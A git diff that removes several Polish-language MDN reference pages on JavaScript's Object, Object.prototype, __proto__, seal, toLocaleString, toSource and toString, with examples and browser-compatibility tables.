-  hasOwnProperty: function() {
-    return false;
-  },
-  prop: 'Kolejna właściwość'
-};
-
-obj.hasOwnProperty('prop'); // zawsze zwróci false
-
-// Użyj właściwości hasOwnProperty innego obiektu i wywołaj ją, ustawiając "this" na obj
-({}).hasOwnProperty.call(obj, 'prop'); // zwraca true
-
-// W tym celu można również użyć własności hasOwnProperty z prototypu Object
-Object.prototype.hasOwnProperty.call(obj, 'prop'); // zwraca true
-
- -

Zwróć uwagę, że w ostatnim przypadku nie ma żadnych nowo utworzonych obiektów.

- -

Specyfikacja

- - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
ECMAScript 3rd Edition.StandardInitial definition. Implemented in JavaScript 1.5.
{{SpecName('ES5.1', '#sec-15.2.4.5', 'Object.prototype.hasOwnProperty')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-object.prototype.hasownproperty', 'Object.prototype.hasOwnProperty')}}{{Spec2('ES6')}}
- -

Wsparcie przeglądarek

- - - -
{{Compat("javascript.builtins.Object.hasOwnProperty")}}
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/object/index.html b/files/pl/web/javascript/referencje/obiekty/object/index.html deleted file mode 100644 index 88ed5060cb..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/object/index.html +++ /dev/null @@ -1,212 +0,0 @@ ---- -title: Object -slug: Web/JavaScript/Referencje/Obiekty/Object -tags: - - JavaScript -translation_of: Web/JavaScript/Reference/Global_Objects/Object ---- -
{{JSRef}}
- -

Konstruktor Object tworzy wrapper obiektu.

- -

Składnia

- -
// Notacja literałowa
-{ [ paraWartoscNazwa1[, paraWartoscNazwa2[, ...paraWartoscNazwaN] ] ] }
-
-// Wywoływany jako konstruktor
-new Object([wartosc])
- -

Parametry

- -
-
paraWartoscNazwa1, paraWartoscNazwa2, ... paraWartoscNazwaN
-
Pary nazw (string) oraz wartości (jakakolwiek wartość) przyczym nazwa oddzielona jest od wartości dwukropkiem.
-
wartosc
-
Jakakolwiek wartość.
-
- -

Opis

- -

Kostruktor obiektu tworzy wrapper dla danej wartości. Jeżeli podana wartość to {{jsxref("null")}} albo {{jsxref("undefined")}}, konstruktor stworzy i zwróci pusty obiekt. W przeciwnym razie stworzy i zwróci obiekt o takim samym typie jak podana wartość. Jeżeli podana wartość jest obiektem to konstruktor zwróci ten właśnie obiekt.

- -

Zobacz również Inicjator obiektu / notacja literałowa.

- -

Właściwości

- -
-
Object.length
-
Przyjmuje wartość 1.
-
{{jsxref("Object.prototype")}}
-
Pozwala na dodawanie właściwości i metod do wszystkich obiektów typu Object.
-
- -

Metody

- -
-
{{jsxref("Object.assign()")}}
-
Kopiuje wszystkie własne właściwości z jednego lub więcej obiektów żródłowych do obiektu docelowego.
-
{{jsxref("Object.create()")}}
-
Tworzy nowy obiekt z podanym prototypem oraz właściwościami
-
{{jsxref("Object.defineProperty()")}}
-
Dodaje do obiektu wymienioną właściwość opisywaną przez podany deskryptor.
-
{{jsxref("Object.defineProperties()")}}
-
Dodaje do obiektu wymienione właściwości opisywane przez podane deskryptory.
-
{{jsxref("Object.freeze()")}}
-
Zamraża obiekt. Uniemożliwia usuwanie oraz modyfikowanie jego właściwości.
-
{{jsxref("Object.getOwnPropertyDescriptor()")}}
-
Zwraca z obiektu deskryptor dla wymienionej właściwości. 
-
{{jsxref("Object.getOwnPropertyNames()")}}
-
Zwraca tablicę zawierającą nazwy wszystkich własnych właściwości obiektu. (Zarówno przeliczalnych jak i nieprzeliczalnych)
-
{{jsxref("Object.getOwnPropertySymbols()")}}
-
Zwraca tablicę zawierającą wszystkie własne właściwości-symbole danego obiektu
-
{{jsxref("Object.getPrototypeOf()")}}
-
Zwraca prototyp określonego obiektu.
-
{{jsxref("Object.is()")}}
-
Sprawdza czy dwie podane wartości są takie same.
-
{{jsxref("Object.isExtensible()")}}
-
Sprawdza czy obiekt można rozszerzyć.
-
{{jsxref("Object.isFrozen()")}}
-
Sprawdza czy obiekt jest zamrożony.
-
{{jsxref("Object.isSealed()")}}
-
Sprawdza czy obiekt jest zapieczętowany.
-
{{jsxref("Object.keys()")}}
-
Zwraca tablicę zawierającą nazwy wszystkich własnych właściwości obiektu. (Tylko przeliczalnych)
-
{{jsxref("Object.preventExtensions()")}}
-
Zabopiega rozszerzaniu obiektu (tj. dodawaniu właściwości).
-
{{jsxref("Object.seal()")}}
-
Zapieczętowuje obiekt, zapobiegając dodawaniu oraz usuwaniu jego właściwości.
-
{{jsxref("Object.setPrototypeOf()")}}
-
Ustawia prototyp obiektu.
-
{{jsxref("Object.values()")}} {{experimental_inline}}
-
Zwraca tablicę zawierającą wszystkie własne, przeliczalne wartości obiektu.
-
- -

Instancje i prototyp Object

- -

W Javascript, wsyzstkie obiekty pochodzą od obiektu Object, tymsamym dziedziczą metody i właściwości z {{jsxref("Object.prototype")}}, jednak mogą być one nadpisane. Na przykład, prototypy innych konstruktorów nadpisują właściwość constructor oraz metody toString(). Wszelkie zmiany w prototypie Object są przekazywane do wszystkich obiektów, chyba że właściwości lub metody do których zmiany się odnośiły zostały gdzieś po drodze nadpisane.

- -

Właściwości

- -
{{page('/pl/docs/Web/JavaScript/Referencje/Obiekty/Object/prototype', 'W.C5.82asno.C5.9Bci') }}
- -

Metody

- -
{{page('/pl/docs/Web/JavaScript/Referencje/Obiekty/Object/prototype', 'Metody') }}
- -

Przykłady

- -

Używanie typów null i undefined

- -

W poniższych przykładach zmienna o przechowuje pusty obiekt Object:

- -
var o = new Object();
-
- -
var o = new Object(undefined);
-
- -
var o = new Object(null);
-
- -

Tworzenie obiektu Boolean

- -

W poniższych przykładach zmienna o przechowuje obiekty {{jsxref("Boolean")}}:

- -
// równoznaczne z: o = new Boolean(true);
-var o = new Object(true);
-
- -
// równoznaczne z: o = new Boolean(false);
-var o = new Object(Boolean());
-
- -

Specyfikacje

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES1')}}{{Spec2('ES1')}}Początkowa definicja. Zaimplementowana w JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.2', 'Object')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-object-objects', 'Object')}}{{Spec2('ES6')}}Dodano Object.assign, Object.getOwnPropertySymbols, Object.setPrototypeOf, Object.is
{{SpecName('ESDraft', '#sec-object-objects', 'Object')}}{{Spec2('ESDraft')}}Dodano Object.entries, Object.values oraz Object.getOwnPropertyDescriptors.
- -

Kompatybilność z przeglądarką

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/object/proto/index.html b/files/pl/web/javascript/referencje/obiekty/object/proto/index.html deleted file mode 100644 index 6d4dd4653e..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/object/proto/index.html +++ /dev/null @@ -1,193 +0,0 @@ ---- -title: Object.prototype.__proto__ -slug: Web/JavaScript/Referencje/Obiekty/Object/proto -translation_of: Web/JavaScript/Reference/Global_Objects/Object/proto ---- -
-

Ostrzeżenie: Zmiana [[Prototype]] obiektu, ze względu na sposób w jaki współczesny JavaScript optymalizuje dostęp do właściwości, jest bardzo powolną operacją (W każdej przeglądarce!). Efekty modyfikacji łańcucha dziedziczenia są rozległe, nie chodzi tu tylko o wydłużenie czasu potrzebnego na wykonanie operacji obj.__proto__ = ..., skutki wpływają na każdy fragment kodu który odwołuje się do jakiejkolwiek właściwości obiektu, którego [[Prototype]] został zmieniony. Dlatego jeżeli zależy ci na wydajności powinieneś unikać tej operacji. Zamiast tego, stwórz nowy obiekt z porządanym [[Prototype]] za pomocą {{jsxref("Object.create()")}}.

-
- -
-

Ostrzeżenie: Mimo że w dzisiejszych czasach Object.prototype.__proto__ jest wspierany w niemal każdej przeglądarce, jego istnienie oraz zachowanie zostały ujednolicone w specyfikacji ECMAScript 2015 jedynie jako legacy feature aby zapewnić kompatybilność z przeglądarkami. Dla lepszego wsparcia rekomenduje się używanie {{jsxref("Object.getPrototypeOf()")}}.

-
- -
{{JSRef}}
- -

Właściwość __proto__ obiektu {{jsxref("Object.prototype")}} jest operatorem dostępu (metoda getter i setter) która operuje na wewnętrznym [[Prototype]] (na obiekcie lub na {{jsxref("Global_Objects/null", "null")}}) obiektu do którego się odnosi.

- -

Użycie __proto__ jest kontrowersyjne i podchodzi się do niego z niechęcią. Oryginalnie nigdy nie pojawiło się w specyfikacji EcmaScript, ale nowoczesne przeglądarki postanowiły mimo wszystko to zaimplementować. Dopiero niedawno właściwość __proto__ znalazła swoje miejsce w specyfikacji ECMAScript 2015 aby zapewnić kompatybilność z tymi przeglądarkami. Jest ona jednak przestarzała ze względu na {{jsxref("Object.getPrototypeOf")}}/{{jsxref("Reflect.getPrototypeOf")}} oraz {{jsxref("Object.setPrototypeOf")}}/{{jsxref("Reflect.setPrototypeOf")}} (choć modyfikowanie [[Prototype]] wciąż jest operacją powolną, która powinna być unikana przez wzgląd na wydajność).

- -

Właściwość __proto__ może być również używana w notacji literałowej aby ustawić [[Prototype]] tworzonego obiektu, jako alterantywa do {{jsxref("Object.create()")}}. Zobacz: inicjalizator obiektu / notacja literałowa.

- -

Składnia

- -
var Kolo = function () {};
-var ksztalt = {};
-var kolo = new Kolo();
-
-// Ustawianie prototypu obiektu
-// ZDEPRECJONOWANE. Używamy tego tylko dla przykładu. NIE RÓB TEGO w prawdziwym kodzie.
-ksztalt.__proto__ = kolo;
-
-// Sprawdzenie prototypu obiektu
-console.log(ksztalt.__proto__ === kolo); // true
-
- -
var ksztalt = function () {};
-var p =
-{
-    a: function ()
-    {
-        console.log('aaa');
-    }
-};
-ksztalt.prototype.__proto__ = p;
-
-var kolo = new ksztalt();
-kolo.a(); // aaa
-
-console.log(ksztalt.prototype === kolo.__proto__); // true
-
-// albo
-
-var ksztalt = function () {};
-var p =
-{
-    a: function ()
-    {
-        console.log('aaa');
-    }
-};
-
-var kolo = new ksztalt();
-kolo.__proto__ = p;
-circle.a(); // aaa
-
-console.log(ksztalt.prototype === kolo.__proto__); // false
-
-// albo
-
-function ksztalt() {};
-ksztalt.prototype.a = function ()
-{
-    console.log('aaa');
-}
-var kolo = new ksztalt();
-kolo.a(); // aaa
-
-console.log(kolo.__proto__ === ksztalt.prototype); // true
-
-// albo
-
-var ksztalt = function () {};
-ksztalt.prototype.a = function ()
-{
-    console.log('aaa');
-}
-
-var kolo =
-{
-    __proto__: ksztalt.prototype
-};
-kolo.a(); // aaa
-
-console.log(kolo.__proto__ === ksztalt.prototype); // true
-
- -

Uwaga: __proto__ zapisujemy jako dwie podłogi, następnie pięć liter "proto", następnie dwie kolejne podłogi.

- -

Opis

- -

Metoda getter właściwości __proto__ daje nam dostęp do wewnętrznej wartości [[Prototype]] obiektu. Dla obiektów stworzonych przy użyciu literału jest to {{jsxref("Object.prototype")}}. Dla tablic stworzonych przy użyciu literału jest to {{jsxref("Array.prototype")}}. Dla funkcji ta wartość to {{jsxref("Function.prototype")}}. Dla obiektów stworzonych przy użyciu new Funkcja, gdzie Funkcja to jeden z wbudowanych konstruktorów dostarczanych przez JavaScript ({{jsxref("Array")}}, {{jsxref("Boolean")}}, {{jsxref("Date")}}, {{jsxref("Number")}}, {{jsxref("Object")}}, {{jsxref("String")}}, i tak dalej — wliczając nowe konstrukotry, które mogą zostać dodane w przyszłości), ta wartość to zawsze Funkcja.prototype. Dla obiektów stworzonych przy użyciu new Funkcja, gdzie Funkcja to funkcja zdefiniowana w kodzie, wartość ta przyjmuje taką samą wartość jak Funkcja.prototype.

- -

Metoda setter właściwości __proto__ umożliwia modyfikowanie [[Prototype]] obiektu. W tym celu obiekt musi być roszerzalny według funkcji {{jsxref("Object.isExtensible()")}}, jeżeli nie jest {{jsxref("Global_Objects/TypeError", "TypeError")}} zostanie wyrzucony. Dostarczana wartość musi być obiektem albo typem {{jsxref("Global_Objects/null", "null")}}. Podanie jakiejkolwiek innej wartości nie zrobi nic.

- -

Aby zrozumieć w jaki sposób prototypy używane są do dziedziczenia, zobacz artykuł o dziedziczeniu oraz łańcuchu prototypów.

- -

Właściwość __proto__ jest prostym operatorem pamięci na {{jsxref("Object.prototype")}} składającym się z metody getter i setter. Dostęp do właściwości __proto__ który ostatecznie konsultuje się z {{jsxref("Object.prototype")}} znajdzie tę właściwość, ale dostęp który nie konsultuje {{jsxref("Object.prototype")}} nie znajdzie jej. Jeżeli jakaś inna właściwość __proto__ zostanie znaleziona, zanim {{jsxref("Object.prototype")}} zostanie skonsultowany, to właściwość ta przesłoni tą znalezioną w {{jsxref("Object.prototype")}}.

- -

Specyfikacje

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES2015', '#sec-additional-properties-of-the-object.prototype-object', 'Object.prototype.__proto__')}}{{Spec2('ES2015')}}Dołączony (normatywnie) jako jeden z dodatkowych ECMAScript legacy features dla przeglądarek (zauważ że specyfikacja jedynie ujednoliciła coś, co było już zaimplementowane w przeglądarkach).
{{SpecName('ESDraft', '#sec-additional-properties-of-the-object.prototype-object', 'Object.prototype.__proto__')}}{{Spec2('ESDraft')}} 
- -

Kompatybilność z przeglądarką

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatIE("11")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -

Uwagi odnośnie kompatybilności

- -

Mimo, że specyfikacja ECMAScript 2015 określa iż wsparcie dla __proto__ jest wymagane tylko dla przeglądarek internetowych (w zasadzie normatywnie), to inne środowiska równieź mogą wspierać tę funkcjonalność.

- -

Zobacz również

- - diff --git a/files/pl/web/javascript/referencje/obiekty/object/prototype/index.html b/files/pl/web/javascript/referencje/obiekty/object/prototype/index.html deleted file mode 100644 index 85fbee9f9b..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/object/prototype/index.html +++ /dev/null @@ -1,219 +0,0 @@ ---- -title: Object.prototype -slug: Web/JavaScript/Referencje/Obiekty/Object/prototype -tags: - - JavaScript - - Obiekt - - Object - - Property - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Object -translation_of_original: Web/JavaScript/Reference/Global_Objects/Object/prototype ---- -

{{JSRef}}

- -

Object.prototype reprezentuje prototyp obiektów klasy {{jsxref("Object")}}.

- -

Podsumowanie

- -

Wszystkie obiekty w języku JavaScript wywodzą się od {{jsxref("Object")}}; wszystkie obiekty dziedziczą metody i pola po Object.prototype, chociaż mogą one zostać przeciążone (z wyjątkiem Object'u o prototypie null, tj. Object.create(null)). Na przykład, prototypy innych konstruktorów przeciążają pole constructor i zapewniają swoje własne wersje metod {{jsxref("Object.prototype.toString()", "toString()")}}. Zmiany do prototypu Object propagowane są do wszystkich obiektów, chyba że dane metody i pola zostały przeciążone w prototypie którejś z klas bazowych.

- -

Własności

- -
-
{{jsxref("Object.prototype.constructor")}}
-
Określa konstruktor obiektu - funkcję, która tworzy prototyp obiektu.
-
{{jsxref("Object.prototype.__proto__")}} {{non-standard_inline}}
-
Wskazuje na obiekt który był użyty jako prototyp, kiedy dany obiekt był inicjalizowany.
-
{{jsxref("Object.prototype.__noSuchMethod__")}} {{non-standard_inline}}
-
Pozwala zdefiniować funkcję, która będzie wykonana kiedy niezdefiniowany element obiektu zostanie wywołany jako metoda.
-
{{jsxref("Object.prototype.__count__")}} {{obsolete_inline}}
-
Własność zwracała liczbę właściwości tzw. enumerable posiadanych przez zdefiniowany przez użytkownika obiekt. Własność ta została usunięta.
-
{{jsxref("Object.prototype.__parent__")}} {{obsolete_inline}}
-
Była używana do wskazywania kontwkstu obiektu. Własność ta została usunięta.
-
- -

Metody

- -
-
{{jsxref("Object.prototype.__defineGetter__()")}} {{non-standard_inline}} {{deprecated_inline}}
-
Przypisuje funkcję do pola, do którego odwołanie wywoła tę funkcję, która zwróci odpowiednią wartość.
-
{{jsxref("Object.prototype.__defineSetter__()")}} {{non-standard_inline}} {{deprecated_inline}}
-
Przypisuje funkcję do pola, którego ustawienie wywoła tę funkcję, która zmodyfikuje wartość pola.
-
{{jsxref("Object.prototype.__lookupGetter__()")}} {{non-standard_inline}} {{deprecated_inline}}
-
Zwraca funkcję powiązaną z danym polem poprzez metodę {{jsxref("Object.defineGetter", "__defineGetter__")}}.
-
{{jsxref("Object.prototype.__lookupSetter__()")}} {{non-standard_inline}} {{deprecated_inline}}
-
Zwraca funkcję powiązaną z danym polem poprzez metodę {{jsxref("Object.defineSetter", "__defineSetter__")}}.
-
{{jsxref("Object.prototype.hasOwnProperty()")}}
-
Zwraca wartość boolean wskazującą czy obiekt posiada dane pole (wykluczając przypadki, gdy pole jest odziedziczone).
-
{{jsxref("Object.prototype.isPrototypeOf()")}}
-
Zwraca wartość boolean wskazującą czy dany obiekt znajduje się w łańcuchu prototypów obiektu podanego jako parametr funkcji.
-
{{jsxref("Object.prototype.propertyIsEnumerable()")}}
-
Zwraca wartość boolean wskazującą czy ustawiony jest atrybut ECMAScript DontEnum attribute.
-
{{jsxref("Object.prototype.toSource()")}} {{non-standard_inline}}
-
Zwraca literał obiektowy reprezentujący dany obiekt; można go użyć do utworzenia nowego obiektu.
-
{{jsxref("Object.prototype.toLocaleString()")}}
-
Wywołuje {{jsxref("Object.toString", "toString()")}}.
-
{{jsxref("Object.prototype.toString()")}}
-
Zwraca łańcuch znaków reprezentujący dany obiekt.
-
{{jsxref("Object.prototype.unwatch()")}} {{non-standard_inline}}
-
Usuwa funkcję monitorującą daną własność obiektu.
-
{{jsxref("Object.prototype.valueOf()")}}
-
Zwraca wartość prostą danego obiektu.
-
{{jsxref("Object.prototype.watch()")}} {{non-standard_inline}}
-
Dodaje funkcję monitorującą daną własność obiektu.
-
{{jsxref("Object.prototype.eval()")}} {{obsolete_inline}}
-
Wykonuje kod JavaScriptu zawarty w łańcuchu znaków w kontekście danego obiektu.
-
- -

Przykłady

- -

Jako, iż JavaScript nie posiada typowego rozróżnienia na klasę bazową i dziedziczącą,  prototype jest przydatnym obejściem pozwalającym na utworzenie “klasy bazowej” z pewnych funkcji, które działają jak obiekty. Na przykład:

- -
var Osoba = function() {
-  this.umieMowic = true;
-};
-
-Osoba.prototype.powitaj = function() {
-  if (this.umieMowic) {
-    console.log('Hej, jestem ' + this.imie);
-  }
-};
-
-var Pracownik = function(imie, tytul) {
-  Osoba.call(this);
-  this.imie = imie;
-  this.tytul = tytul;
-};
-
-Pracownik.prototype = Object.create(Osoba.prototype);
-Pracownik.prototype.constructor = Pracownik;
-
-Pracownik.prototype.powitaj = function() {
-  if (this.umieMowic) {
-    console.log('Hej, jestem ' + this.imie + ', ' + this.tytul);
-  }
-};
-
-var Klient = function(imie) {
-  Osoba.call(this);
-  this.imie = imie;
-};
-
-Klient.prototype = Object.create(Osoba.prototype);
-Klient.prototype.constructor = Klient;
-
-var Mim = function(imie) {
-  Osoba.call(this);
-  this.imie = imie;
-  this.umieMowic = false;
-};
-
-Mim.prototype = Object.create(Osoba.prototype);
-Mim.prototype.constructor = Mim;
-
-var bob = new Pracownik('Bob', 'Builder');
-var joe = new Klient('Joe');
-var rg = new Pracownik('Red Green', 'Handyman');
-var mike = new Klient('Mike');
-var mim = new Mim('Mim');
-
-bob.powitaj();
-// Hej, jestem Bob, Builder
-
-joe.powitaj();
-// Hej, jestem Joe
-
-rg.powitaj();
-// Hej, jestem Red Green, Handyman
-
-mike.powitaj();
-// Hej, jestem Mike
-
-mim.powitaj();
-
- -

Specyfikacje

- - - - - - - - - - - - - - - - - - - - - - - - -
SpecyfikacjaStatusKomentarz
{{SpecName('ES1')}}{{Spec2('ES1')}}Początkowa definicja. Zaimplementowano w JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.2.3.1', 'Object.prototype')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-object.prototype', 'Object.prototype')}}{{Spec2('ES6')}} 
- -

Kompatybilność

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -

Zobacz też

- - diff --git a/files/pl/web/javascript/referencje/obiekty/object/seal/index.html b/files/pl/web/javascript/referencje/obiekty/object/seal/index.html deleted file mode 100644 index ba52ba9665..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/object/seal/index.html +++ /dev/null @@ -1,165 +0,0 @@ ---- -title: Object.seal() -slug: Web/JavaScript/Referencje/Obiekty/Object/seal -translation_of: Web/JavaScript/Reference/Global_Objects/Object/seal ---- -
{{JSRef}}
- -

Metoda Object.seal() "uszczelnia" obiekt, zabezpieczając przed dodaniem nowych właściwości oraz czyniąc wszystkie już istniejące jako niekonfigurowalne. Wartość znajdujące się już w obiekcie mogą być cały czas zmieniane tak długo dopóki posiadają atrybut writable.

- -

Składnia

- -
Object.seal(obj)
- -

Parametry

- -
-
obj
-
Obiekt który powinien zostać zamknięty.
-
- -

Zwracana wartość

- -

Uszczelniony obiekt.

- -

Opis

- -

Standardowo obiekty są {{jsxref("Object.isExtensible()", "extensible", "", 1)}} (nowe właściwości mogą być do nich dodawane). Zamknięcie obiektu zabezpiecza przed możliwością ich dodawania oraz oznacza wszystkie już obecne jako niekonfigurowalne. To skutkuje tym, że zestaw właściwości obiektu staje się niemutowalny. Sprawienie, że wszystkie właściwości są również niekonfigurowalne  zabezpiecza je przed byciem przekonwertowane na akcesory/mutatory i odwrotnie, jednak nie zapobiega to zmianie wartości. Próba usunięcia lub dodania nowych właściwości do uszczelnionego obiektu lub konwersja jakiejś właściwości do akcesorów/mutatorów zawiedzie bez wyjątku lub wywołując {{jsxref("TypeError")}} (tak jest najczęściej, choć nie całkowicie, kiedy skrypt jest w {{jsxref("Strict_mode", "strict mode", "", 1)}}).

- -

Łancuch prototypów pozostaje nie zmieniony, jednakże właściwość {{jsxref("Object.proto", "__proto__")}} {{deprecated_inline}} jest również niemożliwa do zmiany.

- -

Examples

- -
var obj = {
-  prop: function() {},
-  foo: 'bar'
-};
-
-// Nowe właściwości mogą być dodane,
-// istniejące - zmienione lub usunięte.
-obj.foo = 'baz';
-obj.lumpy = 'woof';
-delete obj.prop;
-
-var o = Object.seal(obj);
-
-o === obj; // true
-Object.isSealed(obj); // === true
-
-// Zmiana wartości na zamkniętym obiekcie nadal działa.
-obj.foo = 'quux';
-
-// Jednak nie możesz zmienić właściwości obieku do akcesorów i odwrotnie
-Object.defineProperty(obj, 'foo', { get: function() { return 'g'; } }); // throws a TypeError
-
-// W tym momencie jakiekolwiek inne zmiany właściwości obiektu zawiodą
-obj.quaxxor = 'the friendly duck'; // nie doda właściwości, nie rzucając wyjątku
-delete obj.foo; // nie usunie właściwości, nie rzucając wyjątku
-
-// ...w trybie strict takie operacje będą rzucać wyjątkami.
-function fail() {
-  'use strict';
-  delete obj.foo; // rzuca TypeError
-  obj.sparky = 'arf'; // rzuca TypeError
-}
-fail();
-
-// Próba dodania właściwości przez Object.defineProperty zawiedzie
-Object.defineProperty(obj, 'ohai', { value: 17 }); // rzuca TypeError
-Object.defineProperty(obj, 'foo', { value: 'eit' }); // zmienia istniejącą wartość
-
- -

Uwagi

- -

W ES5, jeżeli argumentem metody nie jest obiekt (jest to prymitywna struktura), spowoduje to wywołanie {{jsxref("TypeError")}}. W ES6, argument nie będący obiektem zostanie potraktowany jakby już był uszczelnionym, zwykłym obiektem i będzie zwrócony.

- -
Object.seal(1);
-// TypeError: 1 is not an object (ES5 code)
-
-Object.seal(1);
-// 1                             (ES6 code)
-
- -

Specyfikacja

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES5.1', '#sec-15.2.3.8', 'Object.seal')}}{{Spec2('ES5.1')}}Wstępna definicja. Implementowano w  JavaScript 1.8.5.
{{SpecName('ES6', '#sec-object.seal', 'Object.seal')}}{{Spec2('ES6')}} 
- -

Kompatybilność w przeglądarkach

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome("6")}}{{CompatGeckoDesktop("2.0")}}{{CompatIE("9")}}{{CompatOpera("12")}}{{CompatSafari("5.1")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

Zobacz również

- - diff --git a/files/pl/web/javascript/referencje/obiekty/object/tolocalestring/index.html b/files/pl/web/javascript/referencje/obiekty/object/tolocalestring/index.html deleted file mode 100644 index 1cd0074d45..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/object/tolocalestring/index.html +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: Object.prototype.toLocaleString() -slug: Web/JavaScript/Referencje/Obiekty/Object/toLocaleString -tags: - - JavaScript - - Method - - Object - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Object/toLocaleString ---- -

{{JSRef}}

- -

Podsumowanie

- -

Zwraca łańcuch znaków reprezentujący obiekt. Ta metoda najczęściej jest przysłonięta przez pochodne obiekty.

- -

Składnia

- -
obj.toLocaleString();
- -

Parametry

- -

Brak.

- -

Opis

- -

Object toLocaleString zwraca rezultat, który nazywamy {{jsxref("Object.toString", "toString()")}}.

- -

Ta metoda jest dostarczona dając obiektom generującą metodę toLocaleString(), nawet mimo to nie wszystkie go używają. Aktualnie, tylko Array, Number i Date nadpisują toLocaleString.

- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/object/tosource/index.html b/files/pl/web/javascript/referencje/obiekty/object/tosource/index.html deleted file mode 100644 index 4aa67db90c..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/object/tosource/index.html +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: Object.prototype.toSource() -slug: Web/JavaScript/Referencje/Obiekty/Object/toSource -tags: - - JavaScript - - Method - - Non-standard - - Object - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Object/toSource ---- -
{{JSRef}} {{non-standard_header}}
- -

Podsumowanie

- -

Zwraca literał obiektowy reprezentujący kod źródłowy danego obiektu.

- -

Składnia

- -
Object.toSource();
-obj.toSource();
-
- -

Parametry

- -

Brak.

- -

Opis

- -

Metoda toSource() zwraca następujące wartości:

- - - -

Metoda ta zazwyczaj jest używana wewnętrznie przez interpreter JavaScriptu, a nie bezpośrednio w kodzie. Można jednak wywołać toSource() podczas debugowania, by zbadać zawartość danego obiektu.

- -

Przykłady

- -

Przykład: Zastosowanie toSource()

- -

Poniższy kod definiuje typ obiektowy Pies i tworzy instancję piesek jako obiekt typu Pies:

- -
function Pies(nazwa) {
-  this.nazwa = nazwa;
-}
-
-Pies.prototype.toSource = function Pies_toSource() {
-  return 'new Pies(' + uneval(this.nazwa) + ')';
-};
-
-console.log(new Pies('Joe').toSource()); // ---> new  Pies("Joe")
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/object/tostring/index.html b/files/pl/web/javascript/referencje/obiekty/object/tostring/index.html deleted file mode 100644 index e18d93d79a..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/object/tostring/index.html +++ /dev/null @@ -1,98 +0,0 @@ ---- -title: Object.prototype.toString() -slug: Web/JavaScript/Referencje/Obiekty/Object/toString -tags: - - JavaScript - - Method - - Object - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Object/toString ---- -

{{JSRef}}

- -

Podsumowanie

- -

Zwraca łańcuch znaków reprezentujący dany obiekt.

- -

Składnia

- -
obj.toString()
- -

Opis

- -

Każdy obiekt posiada metodę toString, która jest wywoływana automatycznie, kiedy obiekt ma zostać przedstawiony jako wartość tekstowa, albo kiedy obiekt jest dołączany do ciągu znakowego. Poniższe przykłady wymagają, by jakisPies był reprezentowany jako łańcuch znaków:

- -
console.log(jakisPies);
-console.log("jakisPies to " + jakisPies);
-
- -

Domyślnie metoda toString jest dziedziczona przez każdy obiekt wyprowadzony z obiektu Object. Można przesłonić tę metodę dla własnych obiektów. Jeśli toString nie zostanie przesłonięta we własnych obiektach użytkownika, zwróci ona [object - typ - ], gdzie - typ - jest typem obiektu lub nazwą funkcji konstruktora, która utworzyła ten obiekt.

- -

